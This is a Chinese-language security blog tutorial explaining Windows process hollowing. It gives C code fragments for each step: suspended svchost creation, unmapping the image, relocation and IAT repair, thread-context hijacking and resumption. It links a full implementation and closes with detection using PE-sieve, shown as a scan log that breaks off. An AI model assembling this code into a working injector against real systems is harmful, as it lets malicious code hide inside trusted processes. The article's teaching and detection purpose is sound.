文章总结: 本文深入解析Windows进程镂空技术原理与实现。该技术通过挂起合法进程并卸载其内存映像,随后注入恶意代码实现隐蔽执行。内容涵盖获取PEB、地址重定位、IAT修复及线程上下文劫持等核心步骤,并介绍使用PE-sieve工具进行内存检测的方法,为理解APT攻击与防御提供了详细技术参考。 综合评分: 94 文章分类: 恶意软件,红队,二进制安全,免杀,渗透测试
Windows安全攻防-进程镂空技术详解
原创
R0x7e R0x7e
剑外思归客
2026年2月8日 23:09 江苏
本文内容仅用于网络安全教育、学术研究与防御能力建设目的,旨在帮助读者理解 Windows 进程与加载机制、常见攻击链路的原理与检测思路。 严禁将文中内容用于任何未经授权的系统、网络或数据的攻击、入侵、控制、破坏、传播恶意软件等非法活动。 读者在进行实验或复现时,应确保:
- 已获得明确授权或仅在自有/合法授权的测试环境中操作(如本地虚拟机、靶场、CTF 环境);
- 不对生产系统、他人设备、公共网络造成影响;
- 遵守所在地法律法规及组织/平台的安全合规要求。 作者不对因读者不当使用本文内容导致的任何直接或间接损失、法律责任或第三方纠纷承担责任。读者使用本文内容即视为理解并同意上述条款。
简单来说,进程镂空就是攻击者先启动一个合法的系统进程(如 svchost.exe 或 explorer.exe),并将该进程挂起,随后掏空其内存,注入恶意代码。这样在任务管理器看来,运行的是合法程序,而非恶意的程序,但其内存中却在运行恶意的代码,进程镂空技术已成为众多高级持续性威胁(APT)组织和恶意软件家族的标准配置。全球权威的网络攻击知识库 MITRE ATT&CK® 框架将其归类为进程注入下的子技术。
进程镂空原理分析
以挂起模式启动一个合法进程
在攻击的初始阶段,首要任务是选择并创建一个合适的宿主进程。这个进程必须是合法的、受系统和安全软件信任的,但其启动后不能立即执行任何代码,而是要像一个等待指令的傀儡一样,静静地暂停在内存中。 通过调用Windows API函数 CreateProcessW 或 CreateProcessA进行进程创建,其中,最关键的参数是 dwCreationFlags,必须包含 CREATE_SUSPENDED 标志,设置该标志在创建进程以及其主线程之后,不会立刻执行,保持挂起状态。
STARTUPINFO si = { sizeof(STARTUPINFO) };
PROCESS_INFORMATION pi;
WCHAR cmdLine[] = L"C:\\Windows\\System32\\svchost.exe"; //宿主进程为svchost
if (!CreateProcessW(
NULL,
cmdLine,
NULL,
NULL,
FALSE,
CREATE_SUSPENDED, // 创建后挂起
NULL,
NULL,
&si,
&pi
)) {
// Error
return 1;
}
// 此时,pi.hProcess 和 pi.hThread 分别是挂起进程和其主线程的句柄
对于宿主进程的选择,通常为系统自带的白名单程序,当CreateProcess 函数执行成功后,会填充 PROCESS_INFORMATION 结构体,其中包含了新进程的句柄(hProcess)和其主线程的句柄(hThread)。这两个句柄是后续所有内存操纵和线程控制操作的关键。
卸载原始进程映像
由于目标进程svchost.exe已经加载了自己的镜像文件,攻击者需要使用未公开的底层 API NtUnmapViewOfSection 来释放目标进程原有的内存映射。至此,该进程变成了一个空壳。 整体操作的流程为:获取PEB地址–>从PEB中获取imagebase地址–>通过NtUnmapViewOfSection对其内存取消映射,从而实现镂空
获取进程环境块(PEB)地址
PEB是Windows为每个进程维护的一个用户态数据结构,包含了进程运行所需的大量信息,其中就包括了进程映像在内存中的基地址。获取PEB地址通常使用未文档化的 NtQueryInformationProcess 函数。
PROCESS_BASIC_INFORMATION pbi;
_NtQueryInformationProcess pNtQueryInformationProcess = ...; // 动态获取
pNtQueryInformationProcess(
pi.hProcess,
0, // ProcessBasicInformation
&pbi,
sizeof(pbi),
NULL
);
// pbi.PebBaseAddress 就是远程进程PEB的地址
__PPEB pPeb = (__PPEB)pbi.PebBaseAddress;
读取映像基地址(ImageBaseAddress)
PEB本身位于目标进程的地址空间中,我们无法直接访问。因此,需要使用 ReadProcessMemory 函数,从上一步获取的PEB地址中读取出真正的映像基地址。在64位系统中,ImageBaseAddress 字段位于PEB起始地址偏移 0x10 的位置。
DWORD_PTR imageBase = 0;
ReadProcessMemory(
pi.hProcess,
(LPCVOID)((DWORD_PTR)pPeb + 0x10), // PEB + 0x10 就是ImageBaseAddress in x64地址
&imageBase,
sizeof(DWORD_PTR),
NULL
);
另一种常见的方法是通过线程上下文。首先用
GetThreadContext获取主线程的CONTEXT结构。在32位系统中,Ebx寄存器通常指向PEB;在64位系统中,则是Rdx寄存器。然后同样通过ReadProcessMemory读取PEB内容来获取基地址。
执行卸载操作
定位到映像基地址后,就轮到核心的卸载函数 NtUnmapViewOfSection 登场。这个同样是未文档化的Ntdll.dll导出函数,其作用是从指定进程的虚拟地址空间中取消一个内存区段的映射。
_NtUnmapViewOfSection pNtUnmapViewOfSection = ...; // Dynamically resolve function
NTSTATUS status = pNtUnmapViewOfSection(pi.hProcess, (PVOID)imageBase);
if (status != 0x00000000) { // STATUS_SUCCESS
// Error handling...
}
镂空的本质就是通过
NtUnmapViewOfSection的调用,将目标进程的原始代码(如svchost.exe的代码)被从其虚拟内存中释放,留下了一片待填充的空白区域。此时,进程的躯壳还在,但灵魂已空。
分配新空间
在目标进程被镂空后,我们需要为其分配一块新的内存区域,用于存放即将注入的shellcode。这块内存的大小和位置至关重要。VirtualAllocEx这个函数允许在一个指定的远程进程中分配、预留或提交内存页面
PIMAGE_NT_HEADERS pMalwareNtHeaders = ...; // 解析恶意PE文件得到的NT头
SIZE_T malwareImageSize = pMalwareNtHeaders->OptionalHeader.SizeOfImage;
PVOID pRemoteBuffer = NULL;
// 理想情况:在原始基地址处分配
pRemoteBuffer = VirtualAllocEx(
pi.hProcess,
(PVOID)imageBase, // 尝试在原始ImageBase处分配
malwareImageSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (!pRemoteBuffer) {
// 如果失败,则让系统自动选择地址
pRemoteBuffer = VirtualAllocEx(
pi.hProcess,
NULL, // 系统决定地址
malwareImageSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
}
最理想的策略是在上一步卸载的原始基地址(
imageBase)处重新分配内存。由于地址空间布局随机化(ASLR)等安全机制,指定的基地址可能已经被其他模块占用。在这种情况下,VirtualAllocEx会失败,将分配地址参数设为NULL,让操作系统自动寻找一块足够大的可用内存区域,如果内存分配在了非预期的地址,那么恶意PE文件中所有基于其首选基地址(OptionalHeader.ImageBase)的硬编码地址(如全局变量地址、函数调用地址)都将失效,那么就需要进行地址重定位修复。
地址重定位修复
当上一步 VirtualAllocEx 分配到的远程内存地址(我们称之为实际加载地址)与恶意PE文件头中指定的首选基地址(OptionalHeader.ImageBase)不一致时,就必须进行重定位。 Windows加载器在加载EXE或DLL时,如果发现无法在首选基地址加载,就会自动执行重定位。但在进程镂空中,必须手动模拟这个过程。 首先需要计算偏移量的差值,这是进行重定位的基础:计算地址偏移量(Delta)公式:Delta = 实际加载基址 (Actual Base) – 预设基址 (ImageBase)
例如,一个程序的
ImageBase是0x00400000,但由于ASLR或进程镂空,它被加载到了0x00E50000。那么,Delta就是0x00E50000 - 0x00400000 = 0x00A50000。这意味着,程序中所有基于0x00400000计算的地址,都需要加上这个0x00A50000的偏移量才能变为在新环境下的有效地址。
要实现地址重定位修复,首先需要明白PE文件中的重定位表是什么?以及其二进制结构
重定位表介绍
在PE文件的编译阶段,编译器生成的代码是基于假定的内存地址来进行编译的。因为在加载时,操作系统可能将程序加载到不同的内存地址(特别是在启用了ASLR(地址空间布局随机化)时),这可能导致原本编译时的地址不再有效。重定位表的作用就是在程序加载到内存时,通过更新代码和数据中的地址,确保程序能正确运行。
定位重定位表
重定位表的位置和大小信息存储在可选头的DataDirectory数组中的BaseRelocationTable。具体来说,是索引为IMAGE_DIRECTORY_ENTRY_BASERELOC的条目。这个条目是一个8字节的结构,包含两个DWORD:
-
VirtualAddress: 重定位表的起始RVA(相对虚拟地址)。
-
Size: 重定位表的总大小(以字节为单位)。
通过这个RVA,我们可以从文件或内存映像的基址开始定位到重定位表的起始位置,通常情况下重定位表位于
.reloc节中,重定位表被划分为多个重定位块,每个块代表一个4KB内存页中所有需要重定位的地址。这种设计非常高效,因为它将地址修正操作按内存页进行了分组。每个块都必须在32位边界上对齐。 每个重定位块由一个IMAGE_BASE_RELOCATION结构头和紧随其后的一系列重定位条目组成。 整个重定位表的结尾由一个VirtualAddress和SizeOfBlock都为0的块来标识。 每个块的头部结构定义如下:
typedef struct _IMAGE_BASE_RELOCATION {
DWORD VirtualAddress; // 块对应页的起始RVA
DWORD SizeOfBlock; // 整个块的总大小(字节)
} IMAGE_BASE_RELOCATIO
- VirtualAddress (PageRVA): 这一组重定位条目所应用的内存页的起始RVA。例如,如果值为
0x1000,表示这个块里的所有重定位操作都发生在该PE文件被加载后,从基址偏移0x1000开始的4KB页面内。 - SizeOfBlock: 整个块的总字节数,包括这8个字节的头部和后面所有的重定位条目。这个字段用于确定下一个重定位块的位置(当前块地址 +
SizeOfBlock)。
解析重定位条目:Type/Offset Entry
在IMAGE_BASE_RELOCATION头部之后,是一系列连续的WORD(2字节)大小的条目。每个WORD被巧妙地分成了两个部分:
- 高4位 (Type): 定义了重定位的类型,即如何应用
Delta。 - 低12位 (Offset): 定义了需要修正的地址相对于当前块
PageRVA的页内偏移。 一个WORD条目的结构可以这样理解:
WORD entry;
BYTE type = (entry >> 12); // 取高4位
WORD offset = (entry & 0x0FFF); // 取低12位
重定位类型(Type)有很多种,但对于现代Windows上的x86和x64程序,我们最关心的是以下几种:
| 类型常量 | 值 | 描述 |
| — | — | — |
| IMAGE_REL_BASED_ABSOLUTE | 0 | 跳过此条目。通常用于填充,以确保下一个块在4字节边界上对齐。 |
| IMAGE_REL_BASED_HIGHLOW | 3 | 将完整的32位Delta值加到指定偏移处的一个32位字段上。这是x86可执行文件最常见的重定位类型。 |
| IMAGE_REL_BASED_DIR64 | 10 | 将完整的64位Delta值加到指定偏移处的一个64位字段上。这是x64可执行文件最常见的重定位类型。 |
| IMAGE_REL_BASED_HIGH | 1 | 将Delta的高16位加到指定偏移处的16位字段。 |
| IMAGE_REL_BASED_LOW | 2 | 将Delta的低16位加到指定偏移处的16位字段。 |
通过解析这些条目,加载器就能精确地定位到每一个需要打补丁的内存位置,并根据类型执行正确的修正操作。
修复重定位
了解了重定位表的功能以及结构之后,我们再来分析如何进行地址重定位修复,以下是在进程镂空场景中手动修复基址重定位的完整流程:
- 计算Delta:
- 从源PE文件的
IMAGE_OPTIONAL_HEADER中读取ImageBase。 - 获取在目标进程中通过
VirtualAllocEx分配的内存基址,即实际加载基址(Actual Base)。 - 计算
Delta = ActualBase - ImageBase。如果Delta为0,则无需重定位,可以直接跳过整个过程。
- 定位重定位表:
- 从源PE文件的
IMAGE_OPTIONAL_HEADER.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]获取重定位表的RVA和大小。 - 计算重定位表在源PE文件缓冲区中的指针:
pRelocTable = pSourceBuffer + RelocTableRVA。
- 遍历重定位块:
- 初始化一个指向当前块的指针
pCurrentBlock,指向pRelocTable。 - 进入一个循环,条件是
pCurrentBlock->VirtualAddress != 0。在每次循环中,处理一个重定位块。
- 遍历块内条目:
- 在每个块内部,首先计算该块包含的条目数量。由于块头大小为8字节,每个条目为2字节,所以条目数 =
(pCurrentBlock->SizeOfBlock - 8) / 2。 - 获取指向第一个条目的指针:
pEntry = (PWORD)(pCurrentBlock + 1)。 - 循环遍历所有条目。
- 解析与执行修复:
- 对于每个条目
*pEntry,提取其类型type和页内偏移offset。 - 判断
type。如果为IMAGE_REL_BASED_HIGHLOW(32位)或IMAGE_REL_BASED_DIR64(64位): - 如果
type是IMAGE_REL_BASED_ABSOLUTE,则忽略。
-
计算待修复地址在目标进程中的完整虚拟地址(VA):
VA_to_patch = ActualBase + pCurrentBlock->VirtualAddress + offset。 -
(关键步骤)读取该地址处当前存储的值。这个值是一个基于旧
ImageBase的地址。在进程镂空场景中,由于我们已经将整个PE映像写入目标进程,可以直接在我们的源PE文件缓冲区中计算并读取:address_to_read_from = pSourceBuffer + pCurrentBlock->VirtualAddress + offset。old_value = *(PDWORD_PTR)address_to_read_from。 -
计算新值:
new_value = old_value + Delta。 -
将新值写回源PE文件缓冲区中相同的位置:
*(PDWORD_PTR)address_to_read_from = new_value。 -
移动到下一个块:
- 当前块处理完毕后,将
pCurrentBlock指针向前移动pCurrentBlock->SizeOfBlock字节,指向下一个块的头部。 pCurrentBlock = (PIMAGE_BASE_RELOCATION)((LPBYTE)pCurrentBlock + pCurrentBlock->SizeOfBlock)。- 返回第3步,继续循环,直到遇到结束块。 完成上述所有步骤后,我们内存中的PE映像副本就已经完成了所有内部地址的重定位。此时,再通过
WriteProcessMemory将这个修复好的映像写入目标进程的内存空间,其内部的绝对地址引用就完全正确了。 以下代码是一个简单的示例:
void PerformBaseRelocation(PVOID imageBuffer, PVOID newImageBase) {
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)imageBuffer;
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)imageBuffer + pDosHeader->e_lfanew);
// 1. 计算Delta
ULONGLONG imageBase = pNtHeaders->OptionalHeader.ImageBase;
ULONGLONG delta = (ULONGLONG)newImageBase - imageBase;
if (delta == 0) {
// 无需重定位
return;
}
// 2. 定位重定位表
IMAGE_DATA_DIRECTORY relocDir = pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
if (relocDir.Size == 0) {
// 没有重定位表
return;
}
PIMAGE_BASE_RELOCATION pCurrentBlock = (PIMAGE_BASE_RELOCATION)((LPBYTE)imageBuffer + relocDir.VirtualAddress);
PIMAGE_BASE_RELOCATION pRelocEnd = (PIMAGE_BASE_RELOCATION)((LPBYTE)pCurrentBlock + relocDir.Size);
// 3. 遍历重定位块
while (pCurrentBlock < pRelocEnd && pCurrentBlock->VirtualAddress != 0) {
// 4. 遍历块内条目
DWORD entryCount = (pCurrentBlock->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
PWORD pEntries = (PWORD)(pCurrentBlock + 1);
for (DWORD i = 0; i < entryCount; i++) {
// 5. 解析与执行修复
WORD entry = pEntries[i];
BYTE type = entry >> 12;
WORD offset = entry & 0x0FFF;
if (type == IMAGE_REL_BASED_DIR64) { // 适用于x64
ULONGLONG* pPatchAddr = (ULONGLONG*)((LPBYTE)imageBuffer + pCurrentBlock->VirtualAddress + offset);
*pPatchAddr += delta;
} else if (type == IMAGE_REL_BASED_HIGHLOW) { // 适用于x86
DWORD* pPatchAddr = (DWORD*)((LPBYTE)imageBuffer + pCurrentBlock->VirtualAddress + offset);
*pPatchAddr += (DWORD)delta;
}
// 其他类型可按需添加
}
// 6. 移动到下一个块
pCurrentBlock = (PIMAGE_BASE_RELOCATION)((LPBYTE)pCurrentBlock + pCurrentBlock->SizeOfBlock);
}
}
导入地址表(IAT)修复
Windows程序广泛依赖动态链接库(DLLs)来使用操作系统提供的功能。当我们在代码中调用一个API,例如CreateFileW,编译器并不会将CreateFileW的完整代码嵌入到我们的程序中。相反,它会生成一条间接调用指令,形如call dword ptr [0x1001104]。这里的地址0x1001104位于一个特殊的数据段,即导入地址表(Import Address Table, IAT)。IAT本质上是一个函数指针数组,程序通过这个数组来调用外部函数。
PE加载器的功能
在程序正常启动时,Windows PE加载器会读取PE文件的导入目录,分析程序依赖哪些DLL的哪些函数。然后,加载器会:
- 将所需的DLL加载到进程的地址空间。
- 使用
GetProcAddress等内部机制查找每个被导入函数的真实内存地址。 - 将这些真实地址逐一填写到IAT的相应槽位中 加载过程完成后,IAT就从一个包含函数名或序号信息的请求列表变成了一个填满真实函数指针的地址簿。此时,
call dword ptr [0x1001104]指令就能正确地跳转到CreateFileW的实际代码处执行。
进程镂空的挑战
在进程镂空场景中,我们粗暴地绕过了Windows加载器。我们手动将PE映像写入内存,这意味着没有人会自动为我们填充IAT。此时的IAT仍然保持着它在磁盘文件中的原始状态——里面存储的不是函数地址,而是指向函数名的RVA或其他信息。如果不进行修复,任何API调用都将导致程序试图执行一个无效地址,从而立即引发访问冲突并崩溃。
IAT表结构
与重定位表类似,导入表的入口点位于可选头的DataDirectory数组中,索引为IMAGE_DIRECTORY_ENTRY_IMPORT。该条目同样给出了导入目录的RVA和大小。
导入描述符:IMAGE_IMPORT_DESCRIPTOR
导入目录本身是一个IMAGE_IMPORT_DESCRIPTOR结构体数组。每个结构体对应一个程序所依赖的DLL,整个数组以一个全零的结构体作为结束标志。其关键字段如下:
typedef struct _IMAGE_IMPORT_DESCRIPTOR {
union {
DWORD Characteristics;
DWORD OriginalFirstThunk; // 指向INT的RVA
} DUMMYUNIONNAME;
DWORD TimeDateStamp;
DWORD ForwarderChain;
DWORD Name; // 指向DLL名称字符串的RVA
DWORD FirstThunk; // 指向IAT的RVA
} IMAGE_IMPORT_DESCRIPTOR;
- Name: 一个RVA,指向一个以NULL结尾的ASCII字符串,即DLL的名称,如 “kernel32.dll”。
- OriginalFirstThunk (INT): 一个RVA,指向**导入名称表 (Import Name Table)**。这是一个
IMAGE_THUNK_DATA数组,是解析函数名的关键。 - FirstThunk (IAT): 一个RVA,指向**导入地址表 (Import Address Table)**。这也是一个
IMAGE_THUNK_DATA数组。在PE文件加载到内存之前,IAT的内容通常与INT完全相同。加载器修复IAT时,会用真实的函数地址覆盖这个数组中的条目。
Thunk数组:IMAGE_THUNK_DATA
INT和IAT都是由IMAGE_THUNK_DATA结构体组成的数组,同样以一个全零的条目结尾。这个结构是一个联合体,其值根据导入方式有不同的解释:
typedef struct _IMAGE_THUNK_DATA32 {
union {
DWORD ForwarderString; // PBYTE
DWORD Function; // PDWORD
DWORD Ordinal; // DWORD
DWORD AddressOfData; // PIMAGE_IMPORT_BY_NAME
} u1;
} IMAGE_THUNK_DATA32;
对于函数导入,关键在于u1.Ordinal字段。通过检查其最高位,可以判断是按名称导入还是按序号导入:
- 按序号导入: 如果最高位为1 (
IMAGE_ORDINAL_FLAG),则低16位(或31位,取决于平台)是该函数在该DLL导出表中的序号。 - 按名称导入: 如果最高位为0,则整个字段是一个RVA,指向一个
IMAGE_IMPORT_BY_NAME结构。
函数名结构:IMAGE_IMPORT_BY_NAME
当按名称导入时,IMAGE_THUNK_DATA指向的这个结构非常简单:
typedef struct _IMAGE_IMPORT_BY_NAME {
WORD Hint; // 序号提示,可用于加速查找
CHAR Name[1]; // 函数名称字符串,以NULL结尾
} IMAGE_IMPORT_BY_NAME;
- Hint: 链接器提供的函数在DLL导出名称表中的可能索引,加载器可以先尝试这个索引,如果失败再进行二分查找。
- Name: 导入函数的名称字符串,如 “CreateFileW”。 通过这一系列层层嵌套的结构,我们最终可以从PE文件中解析出每一个需要导入的DLL及其所有函数的名称或序号。
修复IAT表
- 定位导入目录:
- 通过
OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]找到IMAGE_IMPORT_DESCRIPTOR数组的RVA。 - 计算其在内存缓冲区中的指针
pImportDesc。
- 遍历DLL描述符:
- 进入一个循环,从
pImportDesc开始,条件是pImportDesc->Name != 0。
- 加载依赖的DLL:
- 读取
pImportDesc->Name指向的DLL名称字符串。 - 在攻击者进程中调用
LoadLibraryA()或LoadLibraryW()加载这个DLL,获取其模块句柄hModule。这一步至关重要,因为它将目标DLL映射到了内存中,使得我们可以获取其中函数的地址。
- 遍历函数Thunk:
- 获取INT和IAT的指针。INT通常用于读取函数信息,IAT用于写入地址。
pINT = imageBuffer + pImportDesc->OriginalFirstThunk,pIAT = imageBuffer + pImportDesc->FirstThunk。 - 进入一个内部循环,遍历INT数组(
pINT->u1.AddressOfData != 0)。
- 解析函数名/序号并获取地址:
- 对于每个INT条目,检查其最高位判断导入方式。
- 按名称: 获取指向
IMAGE_IMPORT_BY_NAME的RVA,从中读取函数名字符串。 - 按序号: 直接获取低16位的序号值。
- 使用上一步获得的
hModule和解析出的函数名或序号,调用GetProcAddress(hModule, functionNameOrOrdinal)。这将返回该函数在当前进程地址空间中的真实地址pFuncAddr。
- 填充IAT:
- 将获取到的
pFuncAddr写入到IAT数组的对应位置。即pIAT->u1.Function = (DWORD_PTR)pFuncAddr。 - 将INT和IAT的指针都向前移动一个元素,处理下一个函数。
- 处理下一个DLL:
- 内部循环结束后,将
pImportDesc指针向前移动一个元素,处理下一个DLL。 - 返回第2步,直到遍历完所有DLL。 完成这个过程后,内存中的PE映像副本的IAT就填充完毕了。此时再将其写入目标进程,所有API调用就能正常工作了。 以上逻辑的示例代码:
void RepairIAT(PVOID imageBuffer) {
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)imageBuffer;
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)imageBuffer + pDosHeader->e_lfanew);
// 1. 定位导入目录
IMAGE_DATA_DIRECTORY importDir = pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
PIMAGE_IMPORT_DESCRIPTOR pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((LPBYTE)imageBuffer + importDir.VirtualAddress);
// 2. 遍历DLL描述符
while (pImportDesc->Name != 0) {
// 3. 加载依赖的DLL
LPCSTR dllName = (LPCSTR)((LPBYTE)imageBuffer + pImportDesc->Name);
HMODULE hModule = LoadLibraryA(dllName);
if (hModule == NULL) {
// 加载失败,处理错误
pImportDesc++;
continue;
}
// 4. 遍历函数Thunk
PIMAGE_THUNK_DATA pINT = (PIMAGE_THUNK_DATA)((LPBYTE)imageBuffer + pImportDesc->OriginalFirstThunk);
PIMAGE_THUNK_DATA pIAT = (PIMAGE_THUNK_DATA)((LPBYTE)imageBuffer + pImportDesc->FirstThunk);
while (pINT->u1.AddressOfData != 0) {
FARPROC pFuncAddr = NULL;
// 5. 解析函数名/序号并获取地址
if (IMAGE_SNAP_BY_ORDINAL(pINT->u1.Ordinal)) {
// 按序号导入
pFuncAddr = GetProcAddress(hModule, (LPCSTR)IMAGE_ORDINAL(pINT->u1.Ordinal));
} else {
// 按名称导入
PIMAGE_IMPORT_BY_NAME pImportByName = (PIMAGE_IMPORT_BY_NAME)((LPBYTE)imageBuffer + pINT->u1.AddressOfData);
pFuncAddr = GetProcAddress(hModule, pImportByName->Name);
}
// 6. 填充IAT
if (pFuncAddr != NULL) {
pIAT->u1.Function = (ULONGLONG)pFuncAddr;
}
pINT++;
pIAT++;
}
pImportDesc++;
}
}
进程镂空的成功与否,很大程度上取决于能否正确地模拟Windows加载器,完成基址重定位和IAT填充这两个核心地址修复任务。
写入修复后的映像
将本地内存中那个已经过地址重定位和IAT修复的PE映像,完整地写入到目标进程中先前分配好的内存区域(pRemoteBuffer)。这里可以通过WriteProcessMemory函数,此函数用于将数据从当前进程的缓冲区写入到另一个进程的指定地址空间。 写入过程需要模拟Windows加载器将PE文件从磁盘映射到内存的过程,即从文件布局转换为内存布局。
- 写入PE头:首先,将PE文件的头部(从文件开始到第一个节区开始之前的所有数据)原封不动地复制到远程内存的起始位置。头部的大小由
OptionalHeader.SizeOfHeaders决定。
WriteProcessMemory(
pi.hProcess,
pRemoteBuffer,
pLocalImageBuffer, // 本地修复后的PE映像缓冲区
pMalwareNtHeaders->OptionalHeader.SizeOfHeaders,
NULL
);
- 逐个写入节区(Sections):接着,需要遍历PE文件头中定义的所有节区头(
IMAGE_SECTION_HEADER)。对于每个节区,将其在文件中的原始数据(PointerToRawData)复制到其在内存中的虚拟地址(VirtualAddress)处。
PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pMalwareNtHeaders);
for (int i = 0; i < pMalwareNtHeaders->FileHeader.NumberOfSections; i++) {
WriteProcessMemory(
pi.hProcess,
(PBYTE)pRemoteBuffer + pSectionHeader[i].VirtualAddress, // 目标地址 = 远程基址 + 节区RVA
(PBYTE)pLocalImageBuffer + pSectionHeader[i].PointerToRawData, // 源数据地址 = 本地基址 + 文件偏移
pSectionHeader[i].SizeOfRawData,
NULL
);
}
在写入时,需要重点关注的技术细节就是文件布局与内存布局的区别,即: PE文件在磁盘上(文件布局)和在内存中(内存布局)的结构不完全相同。主要区别在于节区的对齐方式。PointerToRawData 和 SizeOfRawData 描述了节区在文件中的位置和大小,而 VirtualAddress 和 VirtualSize 描述了其加载到内存后的相对地址和大小。手动写入时必须遵循内存布局的规则。
修改线程上下文
此时,PE映像已经加载进了内存,但目标进程的主线程如果被唤醒,仍然会从其原始程序的入口点开始执行(例如,svchost的启动代码)。我们的任务是劫持这条执行流,将其跳转到到我们注入的PE代码的入口点上。关键API与数据结构:
GetThreadContext:用于获取指定线程的当前上下文。上下文(CONTEXT结构)是线程在某一时刻所有CPU寄存器状态的快照。CONTEXT结构:包含了通用寄存器、控制寄存器、段寄存器等。对我们而言,最重要的是指令指针寄存器,它决定了CPU下一条要执行的指令地址。在x86架构下是Eip,在x64架构下是Rip。SetThreadContext:用于将修改后的上下文应用回线程。获取当前线程上下文:
CONTEXT context;
context.ContextFlags = CONTEXT_FULL; // 获取所有寄存器信息
if (!GetThreadContext(pi.hThread, &context)) {
// Error handling...
}
计算并修改入口点:替换后的PE入口点地址是一个相对于其映像基地址的偏移量(RVA),存储在 OptionalHeader.AddressOfEntryPoint 中。新的绝对入口点地址就是远程内存基地址加上这个偏移。
DWORD_PTR newEntryPoint = (DWORD_PTR)pRemoteBuffer + pMalwareNtHeaders->OptionalHeader.AddressOfEntryPoint;
// 根据架构修改对应的指令指针寄存器
#ifdef _WIN64
context.Rip = newEntryPoint;
#else
context.Eax = newEntryPoint; // 在32位下,Eax通常被设置为新线程的入口点
#endif
需要注意的时:在32位Windows中,虽然 Eip 是指令指针,但对于新创建的挂起进程的主线程,其入口点通常是通过修改 Eax 寄存器的值来设定的。当线程恢复时,系统会把 Eax 的值加载到 Eip 中。因此,修改 Eax 是更通用的做法。应用新的线程上下文:
if (!SetThreadContext(pi.hThread, &context)) {
// Error handling...
}
整个过程对于目标线程而言是无感的。它被挂起,寄存器状态被外部力量修改,然后等待被唤醒。一旦恢复,它将忠实地从新的指令指针位置开始执行,浑然不知自己的使命已被篡改。
恢复执行
这是进程镂空技术的最后一步,也是最简单的一步。解除目标进程主线程的挂起状态,让操作系统调度器开始执行它。此时,被篡改了入口点的线程将开始运行我们注入的恶意代码。这里通过ResumeThread函数恢复进程,ResumeThread 是一个 Windows API 函数,用于恢复一个被挂起的线程的执行。
if (ResumeThread(pi.hThread) == -1) {
// Error handling...
}
// 清理资源
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
当 ResumeThread 被调用后,操作系统将把目标线程放入可运行队列。当轮到它执行时,CPU会加载被我们修改过的上下文,将指令指针(Rip/Eip)设置为恶意代码的入口点,然后开始逐条执行恶意指令。从这一刻起,一个看似合法的进程(如 notepad.exe)就在后台悄无声息地执行着攻击者的命令。 从任务管理器、Process Explorer等进程监控工具看:
- 进程名:显示为合法的进程名,
svchost.exe。 - 路径:指向合法的系统文件路径。
- 数字签名:显示为有效的微软签名。
然而,其内部的内存映像、行为模式(如建立网络连接、读写敏感文件)却与原始程序大相径庭。这种表里不一的状态,正是进程镂空技术追求的终极隐蔽效果。
完整的实现项目地址:https://github.com/R0x7e/ProcessHollowing,该项目仅用于学习和研究使用,请勿将其用于任何非法活动。使用者需对产生的后果承担全部法律责任。
进程镂空检测
内存分析工具–PE-sieve
PE-sieve 是一个轻量级、专门的恶意软件检测工具,旨在扫描 Windows 进程内存中运行的恶意植入物。与依赖基于磁盘签名的传统防病毒解决方案不同,PE-sieve 执行内存分析以检测攻击者用来隐藏其存在的代码修改、注入载荷和复杂的注入技术。该工具可以识别并转储各种类型的恶意植入物,包括被替换或注入的 PE 文件、shellcode、API 钩子以及其他内存补丁
Github地址:https://github.com/hasherezade/pe-sieve
直接通过命令:
pesieve.exe /pid <process_id>
即可对指定进程进行分析,对以上的svshost.exe进行分析:
C:\Users\admin\Desktop>pe-sieve64.exe /pid 5768
PID: 5768
Output filter: no filter: dump everything (default)
Dump mode: autodetect (default)
[*] Using raw process!
[*] Scanning: C:\Windows\System32\svchost.exe
[*] Scanning: C:\Windows\System32\ntdll.dll
[*] Scanning: C:\Windows\System32\kernel32.dll
[*] Scanning: C:\Windows\System32\KERNELBASE.dll
[*] Scanning: C:\Windows\System32\msvcrt.dll
[*] Scanning: C:\Windows\System32\advapi32.dll
[*] Scanning: C:\Windows\System32\sechost.dll
[*] Scanning: C:\Windows\System32\rpcrt4.dll
[*] Scanning: C:\Windows\System32\CRYPTBASE.DLL
[*] Scanning: C:\Windows\System32\bcryptPrimitives.dll
[*] Scanning: C:\Windows\System32\winmm.dll
[*] Scanning: C:\Windows\System32\WINMMBASE.dll
[*] Scanning: C:\Windows\System32\cfgmgr32.dll
[*] Scanning: C:\Windows\System32\ucrtbase.dll
[*] Scanning: C:\Windows\System32\ws2_32.dll
[*] Scanning: C:\Windows\System32\powrprof.dll
[*] Scanning: C:\Windows\System32\umpdc.dll
[*] Scanning: C:\Windows\System32\gdi32.dll
[*] Scanning: C:\Windows\System32\win32u.dll
[*] Scanning: C:\Windows\System32\gdi32full.dll
[*] Scanning: C:\Windows\System32\msvcp_win.dll
[*] Scanning: C:\Windows\System32\user32.dll
[*] Scanning: C:\Windows\System32\imm32.dll
[*] Scanning: C:\Windows\System32\uxtheme.dll
[*] Scanning: C:\Windows\System32\combase.dll
[*] Scanning: C:\Windows\System32\userenv.dll
[*] Scanning: C:\Windows\System32\profapi.dll
[*] Scanning: C:\Windows\System32\netapi32.dll
[*] Scanning: C:\Windows\System32\wkscli.dll
[*] Scanning: C:\Windows\System32\bcrypt.dll
[*] Scanning: C:\Windows\System32\netutils.dll
[*] Scanning: C:\Windows\System32\samcli.dll
[*] Scanning: C:\Windows\System32\samlib.dll
[*] Scanning: C:\Windows\System32\IPHLPAPI.DLL
[*] Scanning: C:\Windows\System32\nsi.dll
